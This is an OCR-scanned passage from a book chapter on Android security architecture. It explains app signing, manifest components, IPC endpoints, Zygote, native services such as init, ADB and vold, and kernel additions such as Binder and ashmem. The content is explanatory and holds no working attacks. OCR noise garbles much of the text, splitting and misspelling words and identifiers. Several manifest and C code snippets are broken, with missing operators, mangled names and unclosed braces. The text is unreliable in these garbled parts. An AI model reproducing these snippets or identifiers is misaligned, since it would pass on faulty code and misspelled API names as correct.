Google Play, direct download, or manually with pm instal! oradb install. 
These apps, as well as updates to pre-installed apps, reside in the / dat a/ app 
directory. 
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Android uses public-key cryptography for several purposes related to applica- 
tions. First, Android uses a special platform key to sign pre-installed app packages. 
Applications signed with this key are special in that they can have syst em user 
privileges. Next, third-party applications are signed with keys generated by 
individual developers. For both pre-installed and user-installed apps, Android 
uses the signature to prevent unauthorized app updates. 


Major Application Components 


Although Android applications consist of numerous pieces, this section highlights 
those that are notable across most applications, regardless of the targeted version 
of Android. These include the AndroidManifest, Intents, Activities, BroadcastReceivers, 
Services, and Content Providers. The latter four of these components represent 
IPC endpoints, which have particularly interesting security properties. 


AndroidManifest.xml 


All Android application packages (APKs) must include the Andr oi dManifest 
.xml file. This XML file contains a smorgasbord of information about the appli- 
cation, including the following: 


m Unique package name (e.g.,com. wi | ey. SomeApp) and version information 
m Activities, Services, BroadcastReceivers, and Instrumentation definitions 


m Permission definitions (both those the application requests, and custom 
permissions it defines) 


m Information on external libraries packaged with and used by the application 


m Additional supporting directives, such as shared UID information, pre- 
ferred installation location, and UI info (such as the launcher icon for the 
application) 

One particularly interesting part of the manifest is the sharedUser|d attri- 
bute. Simply put, when two applications are signed by the same key, they can 
specify an identical user identifier in their respective manifests. In this case, 
both applications execute under the same UID. This subsequently allows these 
apps access to the same file system data store, and potentially other resources. 

The manifest file is often automatically generated by the development envi- 
ronment, such as Eclipse or Android Studio, and is converted from plaintext 
XML to binary XML during the build process. 


Intents 


A key part of inter-app communication is Intents. These are message objects that 
contain information about an operation to be performed, the optional target 
component on which to act, and additional flags or other supporting information 
(which may be significant to the recipient). Nearly all common actions—such as 
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tapping a link ina mail message to launch the browser, notifying the messaging 
app that an SMS has arrived, and installing and removing applications—involve 
Intents being passed around the system. 

This is akin to an IPC or remote procedure call (RPC) facility where applica- 
tions’ components can interact programmatically with one another, invoking 
functionality and sharing data. Given the enforcement of the sandbox at a lower 
level (file system, AIDs, and so on), applications typically interact via this API. 
The Android runtime acts as a reference monitor, enforcing permissions checks 
for Intents, if the caller and/or the callee specify permission requirements for 
sending or receipt of messages. 

When declaring specific components in a manifest, it is possible to specify 
an intent filter, which declares the criteria to which the endpoint handles. Intent 
filters are especially used when dealing with intents that do not have a specific 
destination, called implicit intents. 

For example, suppose an application’s manifest contains a custom permission 
com. wiley. permission.!NSTALL_WI DGET, and an activity, com. wil ey. MyApp 
„Install Widget Activity, which uses this permission to restrict launching of 
the! nstall WidgetActivity: 


<manifest android: versionCode="1" android: versionName="1. 0" 
package="com. wiley. MyApp" 


<permi ssion android: name="comwiley.permission.!NSTALL_ WIDGET" 
android: protectionLevel ="signature" /> 


<activity android: name=". Install Wi dgetActivity" 
android: permission="com wiley. permission. I NSTALL_WI DGET"/ > 


Here we see the permission declaration and the activity declaration. Note, 
too, that the permission has a protectionLevel attribute of si gnature. This 
limits which other applications can request this permission to just those signed 
by the same key as the app that initially defined this permission. 


Activities 

Simply put, an Activity is a user-facing application component, or UI. Built on 
the base Acti vi ty class, activities consist of a window, along with pertinent UI 
elements. Lower-level management of Activities is handled by the appropriately 
named Activity Manager service, which also processes Intents that are sent to 
invoke Activities between or even within applications. These Activities are 
defined within the application’s manifest, thusly: 
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<activity android: theme="@style/Theme NoTitle FullScreen" 

android: name="com. yougetitback.androidapplication. ReportSplashScreen" 
android:screenOrientation="portrait" /> 
<activity android: theme="@style/Theme NoTitle FullScreen" 
android: name="com. yougetitback.androidapplication. SecurityQuestionScreen" 
android:screenOrientation="portrait" /> 
<activity android:|label="@string/app_name" 
android: name="com. yougetitback.androidapplication. SplashScreen" 
android:clearTaskOnLaunch="false" android:!aunchMode="singleTask" 
android: screenOrientation="portrait"> 

<intent-filter> 

<action android: name="android.intent. action. MAIN" /> 
</intent-filter> 


Here we see activities, along with specifiers for style/UI information, screen 
orientation, and so on. The! aunchMode attribute is notable, as it affects how the 
Activity is launched. In this case, the si ngl eTask value indicates that only one 
instance of this particular activity can exist at a time; as opposed to launching 
a separate instance for each invocation. The current instance (if there is one) of 
the application will receive and process the Intent which invoked the activity. 


Broadcast Receivers 


Another type of IPC endpoint is the Broadcast Receiver. These are commonly 
found where applications want to receive an implicit Intent matching certain 
other criteria. For example, an application that wants to receive the Intent asso- 
ciated with an SMS message would register a receiver in its manifest with an 
intent filter matching the android. provider. Telephony. SMS_RECEI VED action: 


<receiver android: name=". MySMSReceiver"> 
<intent-filter android: priority: "999"> 
<action android: name="android. provider. Telephony. SMS_ RECEIVED" /> 
</intent-filter> 
</receiver> 


Keg] Broadcast Receivers may also be registered programmatically at runtime by 
using ther egi st er Recei ver method. This method can also be overloaded to set 
permission restrictions on the receiver. 


Setting permission requirements on Broadcast Receivers can limit which 
applications can send Intents to that endpoint. 
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Services 


Services are application components without a UI that run in the background, 
even if the user is not interacting directly with the Service’s application. Some 
examples of common services on Android include the Sms Receiver Service and 
the Bl uet oot hOppSer vi ce. Although each of these services runs outside of the 
user's direct view, like other Android app components they can take advantage 
of IPC facilities by sending and receiving Intents. 

Services must also be declared in the application’s manifest. For example, 
here is a simple definition for a service also featuring an intent filter: 


<service 
android: name="com yougetitback. androidapplication. FindLocationService'> 
<intent-filter> 
<action 
android: name="com yougetitback. androidapplication. FindLocationService" /> 
</intent-filter> 
</service> 


Services can typically be stopped, started, or bound, all by way of Intents. In 
the lattermost case, binding to a service, an additional set of IPC or RPC proce- 
dures may be available to the caller. These procedures are specific to a service’s 
implementation, and take deeper advantage of the Binder service, discussed 
later in the “Kernel” section of the chapter. 


Content Providers 


Content Providers act as a structured interface to common, shared data stores. 
For example, the Contacts provider and Calendar provider manage centralized 
repositories of contact entries and calendar entries, respectively, which can be 
accessed by other applications (with appropriate permissions). Applications 
may also create their own Content Providers, and may optionally expose them 
to other applications. The data exposed by these providers is typically backed 
by an SQLite database or a direct file system path (for example, a media player 
indexing and sharing paths to MP3 files). 

Much like other app components, the ability to read and write Content Providers 
can be restricted with permissions. Consider the following snippet from an 
example AndroidManifest.xml file: 


<provider android: name="com. wiley. example. MyProvider" 
android: writePermission="com wiley. example. permission. WRITE" 
android: authorities="com. wiley. example. data" /> 


The application declares a provider, named MyPr ovi der, which corre- 
sponds to the class implementing the provider functionality. Then it declares a 
writePermission ofcom. wiley. example. permission. WRI TE, indicating that 
only apps bearing this custom permission can write to this provider. Finally, 


Chapter 2 = Android Security Design and Architecture 


it specifies the aut hori ties or content uniform resource identifier (URI) that 
this provider will act for. Content URIs take the form of cont ent: //[authori- 
tyname]/ and may include additional path/argument information, possibly 
significant to the underlying provider implementation (for example, cont ent: / / 
com. wiley.example.data/ foo). 

In Chapter 4, we demonstrate a means of discovering and attacking some of 
these IPC endpoints. 


The Android Framework 


The glue between apps and the runtime, the Android Framework provides the 
pieces—packages and their classes—for developers to perform common tasks. 
Such tasks might include managing UI elements, accessing shared data stores, 
and passing messages between application components. To wit, it includes any 
non-app-specific code that still executes within the DalvikVM. 

The common framework packages are those within the andr oi d. * namespace, 
suchasandroid.content orandroid.tel ephony. Android also provides many 
standard Java classes (in thej ava. * andj avax. * namespaces), as well as addi- 
tional third-party packages, such as Apache HTTP client libraries and the SAX 
XML parser. The Android Framework also includes the services used to manage 
and facilitate much of the functionality provided by the classes within. These 
so-called managers are started by syst em_server (discussed in the “Zygote” 
section) after system initialization. Table 2-1 shows some of these managers and 
their description/role in the framework. 


Table 2-1: Framework Managers 


FRAMEWORK SERVICE DESCRIPTION 


Activity Manager Manages Intent resolution/destinations, app/activity launch, 
and soon 

View System Manages views (UI compositions that a user sees) in activities 

Package Manager Manages information and tasks about packages currently 


and previously queued to be installed on the system 


Telephony Manager Manages information and tasks related to telephony services, 
radio state(s), and network and subscriber information 


Resource Manager Provides access to non-code app resources such as graphics, 
UI layouts, string data, and so on 


Location Manager Provides an interface for setting and retrieving (GPS, cell, 
WiFi) location information, such as location fix/coordinates 


Notification Manager Manages various event notifications, such as playing sounds, 
vibrating, flashing LEDs, and displaying icons in the status bar 
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You can see some of these managers appearing as threads within the 
system server process by using the ps command, specifying thes yst em_server 
PID and the - t option: 


root@generic:/ # ps -t -p 376 


USER PID PPID J. NAME 

system 376 52 <.. System server 
system 389 376 ... SensorService 
system 390 376 ... WindowManager 
system 391 376 ... ActivityManager 
system 399 376 ... PackageManager 


The Dalvik Virtual Machine 


The DalvikVM is register-based, as opposed to stack-based. Although Dalvik is 
said to be Java-based it is not Java insofar as Google does not use the Java logos and 
the Android application model has no relationship with JSRs (Java Specification 
Requirements). To the Android application developer, the DalvikVM might look 
and feel like Java but it isn’t. The overall development process looks like this: 


1. Developer codes in what syntactically looks like Java. 

2. Source code is compiled into. class files (also Java-like). 

3. The resulting class files are translated into Dalvik bytecode. 

4. All class files are combined into a single Dalvik executable (DEX) file. 
5. Bytecode is loaded and interpreted by the DalvikVM. 


As a register-based virtual machine, Dalvik has about 64,000 virtual regis- 
ters. However, it is most common for only the first 16, or rarely 256, to be used. 
These registers are simply designated memory locations in the VM’s memory 
that simulate the register functionality of microprocessors. Just like an actual 
microprocessor, the DalvikVM uses these registers to keep state and generally 
keep track of things while it executes bytecode. 

The DalvikVM is specifically designed for the constraints imposed by an 
embedded system, such as low memory and processor speeds. Therefore, the 
DalvikVM is designed with speed and efficiency in mind. Virtual machines, 
after all, are an abstraction of the underlying register machine of the CPU. This 
inherently means loss of efficiency, which is why Google sought to minimize 
these effects. 

To make the most within these constraints, DEX files are optimized before 
being interpreted by the virtual machine. For DEX files launched from within 
an Android app, this generally happens only once when the application is first 
launched. The output of this optimization process is an Optimized DEX file 
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(ODEX). It should be noted that ODEX files are not portable across different 
revisions of the DalvikVM or between devices. 

Similar to the Java VM, the DalvikVM interfaces with lower-level native code 
using Java Native Interface (JNI). This bit of functionality allows both calling from 
Dalvik code into native code and vice versa. More detailed information about the 
DalvikVM, the DEX file format, and JNI on Android is available in the official 
Dalvik documentation athtt p:// milk. com/kodebase/dalvik-docs-mirror/docs/. 


Zygote 


One of the first processes started when an Android device boots is the Zygote 
process. Zygote, in turn, is responsible for starting additional services and 
loading libraries used by the Android Framework. The Zygote process then 
acts as the loader for each Dalvik process by creating a copy of itself, or forking. 
This optimization prevents having to repeat the expensive process of loading 
the Android Framework and its dependencies when starting Dalvik processes 
(including apps). As a result, core libraries, core classes, and their corresponding 
heap structures are shared across instances of the DalvikVM. This creates some 
interesting possibilities for attack, as you read in greater detail in Chapter 12. 

Zygote’s second order of business is starting the syst em_server process. This 
process holds all of the core services that run with elevated privileges under the 
system AID. In turn, system_server starts up all of the Android Framework 
services introduced in Table 2-1. 


kee] Thesystem server process is so important that killing it makes the device 
appear to reboot. However, only the device's Dalvik subsystem is actually rebooting. 


After its initial startup, Zygote provides library access to other Dalvik pro- 
cesses via RPC and IPC. This is the mechanism by which the processes that 
host Android app components are actually started. 


User-Space Native Code 


Native code, in operating system user-space, comprises a large portion of Android. 
This layer is comprised of two primary groups of components: libraries and 
core system services. This section discusses these groups, and many individual 
components that belong to these groups, in a bit more detail. 


Libraries 


Much of the low-level functionality relied upon by higher-level classes in the 
Android Framework is implemented by shared libraries and accessed via JNI. 
Many of these libraries are the same well-known, open source projects used 


41 


42 


Chapter 2 = Android Security Design and Architecture 


in other Unix-like operating systems. For example, SQLite provides local data- 
base functionality; WebKit provides an embeddable web browser engine; and 
FreeType provides bitmap and vector font rendering. 

Vendor-specific libraries, namely those that provide support for hardware 
unique to a device model, are in/vendor/|ib (or/system/vendor/lib). These 
would include low-level support for graphics devices, GPS transceivers, or cel- 
lular radios. Non-vendor-specific libraries are in/ syst em/|ib, and typically 
include external projects, for example: 


m libexif: A JPEG EXIF processing library 

m libexpat: The Expat XML parser 

= libaudioalsa/libtinyalsa: The ALSA audio library 
m libbluetooth: The BlueZ Linux Bluetooth library 
m libdbus: The D-Bus IPC library 


These are only a few of the many libraries included in Android. A device 
running Android 4.3 contains more than 200 shared libraries. 

However, not all underlying libraries are standard. Bionic is a notable exam- 
ple. Bionic is a derivation of the BSD C runtime library, aimed at providing a 
smaller footprint, optimizations, and avoiding licensing issues associated with 
the GNU Public License (GPL). These differences come at a slight price. Bionic’s 
|i bc isnot as complete as, say, the GNU | i bc or even Bionic’s parent BSD | i bc 
implementation. Bionic also contains quite a bit of original code. In an effort to 
reduce the C runtime’s footprint, the Android developers implemented a custom 
dynamic linker and threading API. 

Because these libraries are developed in native code, they are prone to memory 
corruption vulnerabilities. That fact makes this layer a particularly interesting 
area to explore when researching Android security. 


Core Services 


Core services are those that set up the underlying OS environment and native 
Android components. These services range from those that first initialize user- 
space, such asi ni t , to providing crucial debugging functionality, such as a d bd 
and debuggerd. Note that some core services may be hardware or version spe- 
cific; this section is certainly not an exhaustive list of all user-space services. 


init 


On a Linux system, as Android is, the first user-space process started by the 
Linux kernel is thei ni t command. Just as with other Linux systems, Android's 
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init program initializes the user-space environment by executing a series of 
commands. However, Android uses a custom implementation of i ni t . Instead 
of executing run-level-based shell scripts from/ et c/ i ni t. d, Android executes 
commands based on directives found in / i ni t. rc. For device-specific direc- 
tives, there may be a file called / i nit. [hw]. rc, where [ hw] is the codename of 
the hardware for that specific device. The following is a snippet of the contents 
of /i nit.rc onan HTC One V: 


Service dbus /system/bin/dbus-daemon --system --nofork 
class main 
socket dbus stream 660 bluetooth bluetooth 
user bluetooth 
group bluetooth net_bt_admin 


service bluetoothd /system/bin/bluetoothd -n 
class main 
socket bluetooth stream 660 bluetooth bluetooth 
socket dbus bluetooth stream 660 bluetooth bluetooth 
# init.rc does not yet support applying capabilities, so run as root and 
# let bluetoothd drop uid to bluetooth with the right linux capabilities 
group bluetooth net_bt_admin misc 
disabled 


service bluetoothd_one /system/bin/bluetoothd -n 
class main 
socket bluetooth stream 660 bluetooth bluetooth 
socket dbus bluetooth stream 660 bluetooth bluetooth 
# init.rc does not yet support applying capabilities, so run as root and 
# let bluetoothd drop uid to bluetooth with the right linux capabilities 
group bluetooth net_bt_admin misc 
disabled 

oneshot 
# Discretix DRM 
Service dx_drm server /system/bin/DxDrmServerlpc -f -o allow_other \ 
/data/DxDrm/fuse 


on property:ro. build.tags=test-keys 
start htc_ebdlogd 


on property:ro. build.tags=release-keys 
start htc_ebdlogd_re 


Service zchgd_offmode /system/bin/zchgd -pseudooff mode 
user root 
group root graphics 
disabled 
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These i ni t scripts specify several tasks, including 


m Starting services or daemons that should be started at boot, through the 
service directive 


m Specifying the user and group under which the service should run, per 
the indented arguments below each service entry 


m Setting system-wide properties and configuration options that are exposed 
via the Property Service 


m Registering actions or commands to execute upon occurrence of certain 
events, such as modification of a system property or mounting of a file 
system, through the “on” directive 


The Property Service 


Tucked inside Android’si ni t process is the Property Service, which provides a 
persistent (per-boot), memory-mapped, key-value configuration facility. Many 
OS and framework components rely upon these properties, which include items 
such as network interface configuration, radio options, and even security-related 
settings, the details of which are discussed in Chapter 3. 

Properties can be retrieved and set in numerous ways. For example, using the 
command-line utilities get prop and set prop, respectively; programmatically 
in native code via property_get andproperty_set inli bcutils;orprogram- 
matically using the android.os.SystemProperties class (which in turn calls 
the aforementioned native functions). An overview of the property service is 
shown in Figure 2-2. 


property setter 
unix domain socket 
property consumer property service 
read write load 


property_workspace ; ; 
(shared memory) persistent file 


Figure 2-2: The Android Property Service 
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Running the get prop command on an Android device (in this case, an HTC 
One V), you see output which includes DalvikVM options, current wallpaper, 
network interface configuration, and even vendor-specific update URLs: 


root@android:/ # getprop 

dalvik.vm.dexopt-flags]: [m=y] 

dalvik.vm heapgrowthlimit]: [48m] 

dalvik.vm. heapsize]: [128m] 

dhcp. wlanO0.dnsl}: [192.168.1.1] 

dhcp. wlan0.dns2}: [] 

dhcp. wlan0.dns3]: [] 

dhcp. wlan0.dns4]: [] 

dhcp. wlan0.gateway]: [192.168.1.1] 

dhcp.wlan0. ipaddress]: [192.168.1.125] 

dhcp.wlan0.leasetime]: [7200] 

ro.htc.appupdate.exmsg. url] 
[http://apu-msg.htc.com extra-msg/rws/and-app/msg] 

ro. htc. appupdate.exmsg.url_ CN] 
[http://apu-msg. htccomm. com. cn/extra-msg/rws/and-app/ msg] 

ro. htc. appupdate. ur 
[http://apu-chin. htc. com/check-in/rws/and-app/update] 

Service. brcem bt. activation]: [0] 

Service. brcm bt. avrcp_pass_thru]: [0] 


Some properties, which are set as “read-only,” cannot be changed—even by 
root (though there are some device-specific exceptions). These are designated 
by the r o prefix: 


ro. 
ro. 
ro. 
ro. 
ro. 
lO. 
ro. 
ro. 


secure]: [0] 

serialno]: [HT26MTV01493] 
Setupwizard.enterprise mode]: [1] 
setupwizard. mode]: [DISABLED] 
sf.lcd_density]: [240] 


telephony. default network]: [0] 
use_data_netmgrd]: [true] 
vendor. extension_library]: [/system/lib/libqc-opt.so] 


You can find some additional details of the Property Service and its security 
implications in Chapter 3. 


Radio Interface Layer 


The Radio Interface Layer (RIL), which is covered in detail in Chapter 11, pro- 
vides the functionality that puts the “phone” in “smartphone.” Without this 
component, an Android device will not be able to make calls, send or receive 
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text messages, or access the Internet without Wi-Fi. As such, it will be found 
running on any Android device with a cellular data or telephony capability. 


debuggerd 


Android’s primary crash reporting facility revolves around a daemon called debug- 
gerd. When the debugger daemon starts up, it opens a connection to Android's 
logging facility and starts listening for clients on an abstract namespace socket. 
When each program begins, the linker installs signal handlers to deal with 
certain signals. 

When one of the captured signals occurs, the kernel executes the signal 
handler function, debugger signal _handl er. This handler function connects 
to aforementioned socket, as defined by DEBUGGER _SOCKET_NAME. After it’s con- 
nected, the linker notifies the other end of the socket (debugger d ) that the target 
process has crashed. This serves to notify debuggerd that it should invoke its 
processing and thus create a crash report. 


ADB 


The Android Debugging Bridge, or ADB, is composed of a few pieces, including 
the adbd daemon on the Android device, the adb server on the host worksta- 
tion, and the corresponding adb command-line client. The server manages 
connectivity between the client and the daemon running on the target device, 
facilitating tasks such as executing a shell; debugging apps (via the Java Debug 
Wire Protocol); forwarding sockets and ports; file transfer; and installing/ 
uninstalling app packages. 

As a brief example, you can run the adb devices command to list your 
attached devices. As ADB is not already running on our host, it is initialized, 
listening on 5037/tcp for client connections. Next, you can specify a target 
device by its serial number and runadb shell , giving you a command shell 
on the device: 


% adb devices 

* daemon not running. starting it now on port 5037 * 
* daemon started successfully * 

List of devices attached 

DO25A0A024441MGK device 

HT26MTV01493 device 


% adb -s HT26MTV01493 shel | 
root@android:/ # 


We can see also that the ADB daemon, adbd, is running on the target device 
by grepping for the process (or in this case, using pgr ep): 
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root@android:/ # busybox pgrep -! adbd 
2103 /sbin/adbd 


ADB is pivotal for developing with Android devices and emulators. As such, 
we'll be using it heavily throughout the book. You can find detailed informa- 
tion on using the adb command at http://developer.android.com/tools/ 
hel p/adb. html. 


Volume Daemon 


The Volume Daemon, or vold, is responsible for mounting and unmounting 
various file systems on Android. For instance, when an SD card is inserted, 
vol d processes that event by checking the SD card’s file system for errors (such 
as through launching f s ck ) and mounting the card onto the appropriate path 
(ie.,/ mit/sdcard). When the card is pulled or ejected (manually by the user) 
vol d unmounts the target volume. 

The Volume Daemon also handles mounting and unmounting Android Secure 
Container (ASEC) files. These are used for encrypting app packages when they 
are stored on insecure file systems such as FAT. They are mounted via loopback 
devices at app load time, typically onto / mnt / asec. 

Opaque Binary Blobs (OBBs) are also mounted and unmounted by the Volume 
Daemon. These files are packaged with an application to store data encrypted 
with a shared secret. Unlike ASEC containers, however, the calls to mount 
and unmount OBBs are performed by the applications themselves, rather than 
the system. The following code snippet demonstrates creating an OBB with 
Super Secret Key as the shared key: 


obbFile = "path/to/some/obbfile'; 

storageRef = (StorageManager) getSystemService(STORAGE SERVICE); 
storageRef.mountObb(obbFile, "“SuperSecretKey", obbListener); 
obbContent = storageRef.getMountedObbPath( obbFile); 


Given that the Volume Daemon runs as root, it is an enticing target in both 
its functionality and its potential vulnerability. You can find details on privilege 
escalation attacks against vo! d and other similar services in Chapter 3. 


Other Services 


There are numerous other services that run on many Android devices, provid- 
ing additional—though not necessarily critical—functionality (depending on 
the device and the service). Table 2-2 highlights some of these services, their 
purposes, and their privilege levels on the system (UID, GID, and any supple- 
mental groups for that user, which may be specified in the system’si nit. rc files). 
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Table 2-2: User-space Native Services 


SERVICE 
netd 


DESCRIPTION 


Present in Android 2.2+, used by the Network 
Management Service for configuring network 
interfaces, running the PPP daemon (pppd), tether- 
ing, and other similar tasks. 


UID, GID, 


SUPPLEMENTAL 
GROUPS 


UID: 0 / root 


GID: 0 / root 


mediaserver 


Responsible for starting media related services, 
including Audio Flinger, Media Player Service, 
Camera Service, and Audio Policy Service. 


UID: 1013 / media 
GID: 1005 / audio 


Groups: 1006 / 
camera 

1026 / drmpc 

3001 / net_bt_admin 
3002 / net_bt 

3003 / inet 

3007 / net_bw_acct 


dbus- Manages D-Bus-specific IPC/message passing (pri- UID: 1002 / bluetooth 
daemon marily for non-Android specific components). 
GID: 1002 / bluetooth 
Groups: 3001 / 
net_bt_admin 
installd Manages installation of application packageson UID: 1012 / install 
the devices (on Package Manager's behalf), includ- i 
ing initial optimization of Dalvik Executable (DEX) GID: 1012 / install 
bytecode in application packages (APKs). On pre-4.2 devices: 
UID: 0 /root 
GID: 0 /root 
keystore Responsible for secure storage of key-value UID: 1017 / keystore 
pairs on the system (protected by a user-defined 
password). GID: 1017 / keystore 
Groups: 1026 / drmpc 
drmserver Provides the low-level operations for Digital Rights UID: 1019 / drm 


Management (DRM). Apps interface with this 
service by way of higher-level classes in the DRM 
package (in Android 4.0+). 


GID: 1019 / drm 


Groups: 1026 / drm- 
rpc 
3003 / inet 
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UID, GID, 


SUPPLEMENTAL 
SERVICE DESCRIPTION GROUPS 


serviceman- Acts as the arbiter for registration/deregistration of UID: 1000 / system 


ager app services with Binder IPC endpoints. 

GID: 1000 / system 
surface- Present in Android 4.0+, the display compositor UID: 1000 / system 
flinger responsible for building the graphics frame/screen 

to be displayed and sending to the graphics card GID: 1000 / system 
driver. 
Uevent d Present in Android 2.2+, user-space daemon for UID: 0 / root 


handling system and device events and taking cor- 
responding actions, such as loading appropriate 
kernel modules. 


GID: 0 /root 


As stated previously, this is by no means an exhaustive list. Comparing the 
process list, i ni t. rc, and file system of various devices to that of a Nexus device 
often reveals a plethora of nonstandard services. These are particularly inter- 
esting because their code may not be of the same quality of the core services 
present in all Android devices. 


The Kernel 


Although Android’s foundation, the Linux kernel, is fairly well documented 
and understood, there are some notable differences between the vanilla Linux 
kernel and that which is used by Android. This section explains some of those 
changes, especially those which are pertinent to Android security. 


The Android Fork 


Early on, Google created an Android-centric fork of the Linux kernel, as many 
modifications and additions weren't compatible with the Linux kernel mainline 
tree. Overall, this includes approximately 250 patches, ranging from file system 
support and networking tweaks to process and memory management facili- 
ties. According to one kernel engineer, most of these patches “represent[ed] a 
limitation that the Android developers found in the Linux kernel.” In March 
2012, the Linux kernel maintainers merged the Android-specific kernel modi- 
fications into the mainline tree. Table 2-3 highlights some of the additions/ 
changes to the mainline kernel. We discuss several of these in more detail 
later in this section. 
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Table 2-3: Android’s major changes to Linux kernel 


KERNEL CHANGE DESCRIPTION 


Binder IPC mechanism with additional features such as security 
validation of callers/callees; used by numerous system and 
framework services 


ashmem Anonymous Shared Memory; file-based shared memory allocator; 
uses Binder IPC to allow processes to identify memory region file 
descriptors 


pmem Process Memory Allocator; used for managing large, contiguous 
regions of shared memory 


logger System-wide logging facility 
RAM_CONSOLE Stores kernel log messages in RAM for viewing after a kernel panic 
“oom” modifications “Out of memory’-killer kills processes as memory runs low; in 


Android fork, OOM kills processes sooner than vanilla kernel, as 
memory is being depleted 


wakelocks Power management feature to keep a device from entering 
low-power state, and staying responsive 


Alarm Timers Kernel interface for Al ar mMa nager , to instruct kernel to 
schedule “waking up” 


Paranoid Networking Restricts certain networking operations and features to specific 


group IDs 
timed output / gpio Allows user-space programs to change and restore GPIO registers 
after a period of time 
yaffs2 Support for the yaffs2 flash file system 
Binder 


Perhaps one of the most important additions to Android’s Linux kernel was a 
driver known as Binder. Binder is an IPC mechanism based on a modified version 
of OpenBinder, originally developed by Be, Inc., and later Palm, Inc. Android’s 
Binder is relatively small (approximately 4,000 lines of source code across two 
files), but is pivotal to much of Android's functionality. 

In a nutshell, the Binder kernel driver facilitates the overall Binder archi- 
tecture. The Binder—as an architecture—operates in a client-server model. It 
allows a process to invoke methods in “remote” processes synchronously. The 
Binder architecture abstracts away underlying details, making such method 
calls seem as though they were local function calls. Figure 2-3 shows Binder’s 
communication flow. 
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Process A | | Proxy Binder Drivër Process B with Threads 


Figure 2-3: Binder communication 


Binder also uses process ID (PID) and UID information as a means of 
identifying the calling process, allowing the callee to make decisions about 
access control. This typically occurs through calls to methods like Bi nder 
.getCallingUid and Bi nder. getCallingPid, or through higher-level checks 
suchascheckCallingPermission. 

An example of this in practice would be the ACCESS_SURFACE_FL| NGER permis- 
sion. This permission is typically granted only to the gr aphi cs system user, and 
allows access to the Binder IPC interface of the Surface Flinger graphics service. 
Furthermore, the caller’s group membership—and subsequent bearing of the 
required permission—is checked through a series of calls to the aforementioned 
functions, as illustrated by the following code snippet: 


const int pid ipc->getCallingPid(); 
const int uid ipc->getCallingUid(); 
if ((uid != ALD_GRAPHICS) && 
!PermissionCache::checkPermission(sReadFramebuffer, 
pid, uid)) { 
ALOGE("Permission Denial: " 
"can't read framebuffer pid=%d, uid=%d", pid, uid); 
return PERMISSION DENI ED; 


} 


Ata higher level, exposed IPC methods, such as those provided by bound Services, 
are typically distilled into an abstract interface via Android Interface Definition 
Language (AIDL). AIDL allows for two applications to use “agreed-upon” or stan- 
dard interfaces for sending and receiving data, keeping the interface separate from 
the implementation. AIDL is akin to other Interface Definition Language files or, 
in a way, C/C++ header files. Consider the following sample AIDL snippet: 
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[| |RemoteService.aid 
package com. example. android; 


[I Declare any non-default types here with import statements 


/** Example service interface */ 

interface |RemoteService { 
/** Request the process ID of this service, 
to do evil things with it. */ 
int getPid 


1 


/** Demonstrates some basic types that you can use as parameters 
* and return values in AIDL. 
* 
void basicTypes(int anlnt, long aLong, boolean aBoolean, 
float aFloat 
double aDouble, String aString); 


} 


This AIDL example defines a simple interface, | Remot eServi ce, along with 
two methods: get Pi d and basi cTypes. An application that binds to the service 
exposing this interface would subsequently be able to call the aforementioned 
methods—facilitated by Binder. 


ashmem 


Anonymous Shared Memory, or ashmem for short, was another addition to the 
Android Linux kernel fork. The ashmem driver basically provides a file-based, 
reference-counted shared memory interface. Its use is prevalent across much 
of Android’s core components, such as Surface Flinger, Audio Flinger, System 
Server, and the DalvikVM. Because ashmem is designed to automatically shrink 
memory caches and reclaim memory regions when available system-wide 
memory is low, it is well suited for low-memory environments. 

At a low level, using ashmem is as simple as calling ashmem_create_region, 
and using mmap on the returned file descriptor: 


int fd = ashmemcreate_region("SomeAshmem", size) 
if(fd == 0) { 
data = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); 


At a higher level, the Android Framework provides the Me mor yFi | e class, 
which serves as a wrapper around the ashmem driver. Furthermore, processes 
can use the Binder facility to later share these memory objects, leveraging the 
security features of Binder to restrict access. Incidentally, ashmem proved to 
be the source of a pretty serious flaw in early 2011, allowing for a privilege 
escalation via Android properties. This is covered in greater detail in Chapter 3. 
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pmem 


Another Android-specific custom driver is pmem, which manages large, physi- 
cally contiguous memory ranging between 1 megabyte (MB) and 16MB (or 
more, depending on the implementation). These regions are special, in that 
they are shared between user-space processes and other kernel drivers (such 
as GPU drivers). Unlike ashmem, the pmem driver requires the allocating 
process to hold a file descriptor to the pmem memory heap until all other 
references are closed. 


Logger 


Though Android’s kernel still maintains its own Linux-based kernel-logging 
mechanism, it also uses another logging subsystem, colloquially referred to 
as the logger. This driver acts as the support for the | 0gcat command, used to 
view log buffers. It provides four separate log buffers, depending on the type 
of information: main, radio,event,andsystem. Figure 2-4 shows the flow of 
log events and components that assist logger. 

The mai n buffer is often the most voluminous, and is the source for application- 
related events. Applications typically calla method from theandroid.util.Log 
class, where the invoked method corresponds to the log entry priority level—for 
example, the Log. i method for “informational,” Log. d for “debug,” or Log. e for 
“error” level logs (much like syslog). 


Overview of Android Logging System 


Target 
Java program 
eat System.out 
/System.err 


com.android.internal.os 
AndroidPrintstream 


Native program android.util.Log Host 


ADT in Eclipse 


stdout 

/stderr adbserver 
User 
Kernel 


adb logcat 


ae eae 
main |64KB radio 


logger 64KB 


event system 
256KB sake 


Figure 2-4: Android logging system architecture 


/dev/log/main 
/dev/log/radio 
/dev/log/event 
/dev/log/system 


/dev/log/main 
/dev/log/radio 
/dev/log/event 
/dev/log/system 
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The s ys t em buffer is also a source of much information, namely for system-wide 
events generated by system processes. These processes utilize the print! n_native 
method in the android. util.$log class. This method in turn calls native code 
specific to logging to this particular buffer. 

Log messages can be retrieved using the | 0gcat command, with both the 
main and system buffers being the default sources. In the following code, we 
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The! ogcat command is so commonly executed that ADB actually provides 
a shortcut for running it on a target device. Throughout the course of the book, 
we make extensive use of the logcat command to monitor processes and overall 
system state. 


Paranoid Networking 


The Android kernel restricts network operations based on supplementary group 
membership of the calling process—a kernel modification known as Paranoid 
Networking. At a high level, this involves mapping an AID, and subsequently 
a GID, to an application-level permission declaration or request. For example, 
the manifest permission android. permission. | NTERNET effectively maps to the 
Al D_I NET AID—or GID 3003. These groups, IDs, and their respective capabilities 
are defined ini ncl ude/!inux/android_aid. h inthe kernel source tree, and are 
described in Table 2-4. 


Table 2-4: Networking capabilities by group 
AID DEFINITION GROUP ID / NAME CAPABILITY 


Allows for creation of any Bluetooth 
AID_NET_BT_ADMIN  3001/net_bt_admin socket, as well as diagnoses and 
manages Bluetooth connections 


Al D_NET_BT 3002 / net_bt Allows for creation of SCO, RFCOMM, 
or L2CAP (Bluetooth) sockets 


Al D_I NET 3003 / inet Allows for creation of AF_INET and 
